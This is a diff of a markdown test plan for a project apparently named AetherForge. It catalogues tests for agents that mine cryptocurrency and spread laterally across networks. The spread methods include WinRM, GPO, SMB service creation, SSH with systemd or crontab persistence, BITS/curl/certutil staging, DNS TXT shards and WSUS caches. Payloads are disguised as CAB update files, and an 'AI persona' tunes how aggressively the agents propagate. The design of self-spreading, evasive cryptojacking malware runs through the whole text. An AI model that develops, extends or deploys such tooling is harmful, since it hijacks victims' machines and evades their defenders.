| Stats batch WS coalescing | `server/internal/api/websocket_test.go` | 1 |
|
||||
| Stats batch WS coalescing | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
|
||||
| Agents API pagination + subnet | `server/internal/db/agents_list_test.go`, `server/internal/api/handlers_test.go` | 1 |
|
||||
| Mining status relay (`mining_status` / `mining_fallback`) | `server/internal/api/websocket_test.go` | 1 |
|
||||
| Agent name preserved on reconnect | `server/internal/api/websocket_test.go` | 1 |
|
||||
| Agent name preserved on reconnect | `server/internal/api/websocket_test.go`, `ws_beacon_integration_test.go` | 1 |
|
||||
| `applyStatsUpdate` / `stats_batch` mining fields | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
||||
| Fleet → Crucible redirect | `server/web/src/pages/AgentsPage.test.tsx`, `e2e/pages.spec.ts` | 4 / 8 |
|
||||
| Crucible terminal `_seq` cursor | `server/web/src/pages/CruciblePage.test.tsx` | 4 |
|
||||
@@ -451,6 +628,7 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
||||
| Vuln catalog API | `server/internal/api/vuln_handler_test.go`, `server/internal/vuln/correlator_test.go` | 1 |
|
||||
| `network_hints` (ARP, DNS SRV, cert) | `agent/deploy/network_hints_test.go` | 2 |
|
||||
| Path Tracer API extensions (discover, spread, service merge) | `server/internal/api/pathtracer_handler_test.go`, `pathtracer_discover_test.go` | 1 |
|
||||
| Spread router (BGP-style min-clearance routes) | `server/internal/spreadrouter/router_test.go`, `pathtracer_handler_test.go` (`SpreadRoute`), `deploy_plan_test.go`, `discover_join_test.go` (`SpreadRouteHint`) | 1 / 2 |
|
||||
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
||||
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
|
||||
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 |
|
||||
@@ -489,13 +667,15 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
||||
| `TestApplyAuthLotlPolicy*` / `TestMiningTierPolicy*` | Server-pulled mining tier policy from auth | `agent/client/mining_policy_test.go` | 2 |
|
||||
| `TestMiningDiagnostics*` / `TestInferMiningBlockers*` | Diagnostics JSON + tier chain fields + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
|
||||
| `TestChainOrderForConfig*` | Client mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
|
||||
| `TestMiningChainRunner*` / `TestMiningChainSkips*` | Full `MiningChainRunner` lifecycle: `newMiningChainRunner`, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), `onion_report`/`tier_report` payload shape, `lotl_attempts` merge, mining disabled/apk skip, tier failure advance, exhausted chain | `agent/client/mining_chain_lifecycle_test.go` | 2 |
|
||||
| `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
|
||||
| `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
|
||||
| `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
|
||||
| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff — hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 |
|
||||
| `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 |
|
||||
| `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 |
|
||||
| `TestWSUSCachePeer*` | WSUS cache cousin staging beside SoftwareDistribution | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
|
||||
| `TestWSUSCachePeer*` / `TestWrapSSUHeaderRoundTrip` / `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
|
||||
| `TestWrapWSUSChunkPayloadRoundTrip` / `TestBuildPlanWSUSCachePeerLaneFormatMimicOff` | Server `/get?wsus_wrap=1` envelope + deploy-plan `*.cab.partial` chunk names | `server/internal/api/wsus_format_mimic_test.go`, `deploy_plan_test.go` | 1 |
|
||||
| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | `server/internal/api/deploy_plan_test.go`, `agent/deploy/discover_join_test.go`, `server/internal/api/service_deploy_test.go` | 1 / 2 |
|
||||
| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
||||
| `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
|
||||
@@ -526,7 +706,9 @@ Optional probe env vars for Access Depth (`environment_probes`):
|
||||
- `AETHERFORGE_BATTERY_OK=1`
|
||||
- `AETHERFORGE_FOREGROUND_SERVICE=1`
|
||||
|
||||
Forge may also bake `ApkMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env.
|
||||
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads.
|
||||
|
||||
Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler — AI shapes propagation personality, not just restarts.
|
||||
|
||||
Quick run:
|
||||
|
||||
@@ -545,15 +727,41 @@ cd server && go test ./internal/api/... ./internal/builder/... ./internal/models
|
||||
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
|
||||
```
|
||||
|
||||
### P2 — spread lanes (mock/inject; no real remote hosts)
|
||||
|
||||
| Test | What it validates | File | Phase |
|
||||
|------|-------------------|------|-------|
|
||||
| `TestCurlStagingAssemblyWithInject` / `TestBITSStagingAssemblyWithInject` | `stage_fetch` / `RunStagingChain` chunk assembly, SHA256 verify, injectable BITS/curl hooks | `agent/deploy/staging_chain_test.go` | 2 |
|
||||
| `TestStageFetchEmptyURLRejected` / `TestStageFetchSHA256MismatchRejected` / `TestStageFetchDownloaderErrorPropagates` | Staging manifest error handling (empty URL, hash mismatch, downloader failure) | `agent/deploy/staging_chain_test.go` | 2 |
|
||||
| `TestRunStagingChainWindowsOnlyStub` | Non-Windows `RunStagingChain` returns explicit Windows-only error | `agent/deploy/staging_stub_test.go` | 2 |
|
||||
| `TestWinRMEncodePowerShellRoundTrip` / `TestWinRMSpreadScriptMarkers` | WinRM encoded bootstrap script shape (`--spread-install`, `--defer-mining`) | `agent/deploy/winrm_spread_test.go` | 2 |
|
||||
| `TestSystemdLinuxLOTLLane*` / `TestTryLotlTierLinuxLOTLLane` | Linux LOTL `sshSpread*` commands + systemd/crontab persist stubs | `agent/deploy/linux_lotl_test.go` | 2 |
|
||||
| `TestDOPeerRejectsPathTraversal` / `TestWSUSCachePeerRejectsPathTraversal` / `TestDNSTXTRejectsPathTraversal` | Staging path hygiene for `do_peer`, `wsus_cache_peer`, `dns_txt` lanes | `agent/deploy/do_peer_staging_test.go`, `wsus_cache_peer_staging_test.go`, `dns_txt_staging_test.go` | 2 |
|
||||
| `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS staging roundtrip: wrapped `*.cab.partial` chunk → unwrap → SHA256 verify | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
|
||||
| `TestPickDeployLaneGPO` / `TestPickDeployLaneWinRM` / `TestPickDeployLaneLinuxLOTL` | Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | `server/internal/api/service_deploy_test.go` | 1 |
|
||||
| `TestDeployPlanWinRMLane` / `TestDeployPlanGPOLane` / `TestDeployPlanLinuxLOTLLane` | Signed deploy plan script rendering from spread templates | `server/internal/api/spread_lanes_test.go` | 1 |
|
||||
| `TestExportSpreadTemplateGPO` / `TestExportSpreadTemplateLinuxLOTL` / `TestExportSpreadTemplateWinRMMarkers` | Spread handler ZIP export shape + template marker replacement | `server/internal/api/spread_handler_test.go` | 1 |
|
||||
| `TestSpreadTemplateRejectsUnknownLane` / `TestSpreadTemplateRequiresServerURL` | Spread template export payload validation | `server/internal/api/spread_handler_test.go` | 1 |
|
||||
| `TestStageFetchAllowRemoteAction` / `TestStageFetchRejectsBadManifestJSON` | Agent `stage_fetch` clearance gate + bad manifest JSON | `agent/client/stage_fetch_test.go` | 2 |
|
||||
|
||||
Quick run (matches `PROBLEMS.md` P2 spread-lane subset):
|
||||
|
||||
```bat
|
||||
cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|Stage|spread" -count=1
|
||||
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
|
||||
```
|
||||
|
||||
**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.
|
||||
|
||||
### Gaps (hard to unit-test)
|
||||
|
||||
- **Real Docker/Podman container start** — requires OCI runtime on host; covered by chain logic mocks only.
|
||||
- **`DetectContainerRuntime` CLI probe** — depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
|
||||
- **Full agent `MiningChainRunner.Start` lifecycle** — needs live pool + optional GPU binary; hook order covered via `ChainController` tests.
|
||||
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; tier stubs and normalization covered in deploy tests.
|
||||
- **Real BITS/curl/certutil download** — network + OS tooling; staging path/hash logic covered in `staging_test.go`.
|
||||
- **Live pool + GPU binary on host** — `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
|
||||
- **Real WinRM/GPO/systemd/crontab spread execution** — requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
|
||||
- **Real BITS/curl/certutil download** — network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers.
|
||||
- **E2E Crucible lotl_tier badge** — covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server — phase 8 or `AETHERFORGE_URL`).
|
||||
- **Playwright fleet recon flow** — Probe & Join and risk badges covered in Vitest; no full discover→spread E2E yet.
|
||||
- **Playwright fleet recon flow** — Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E.
|
||||
|
||||
### Agent logs (not a missing API)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user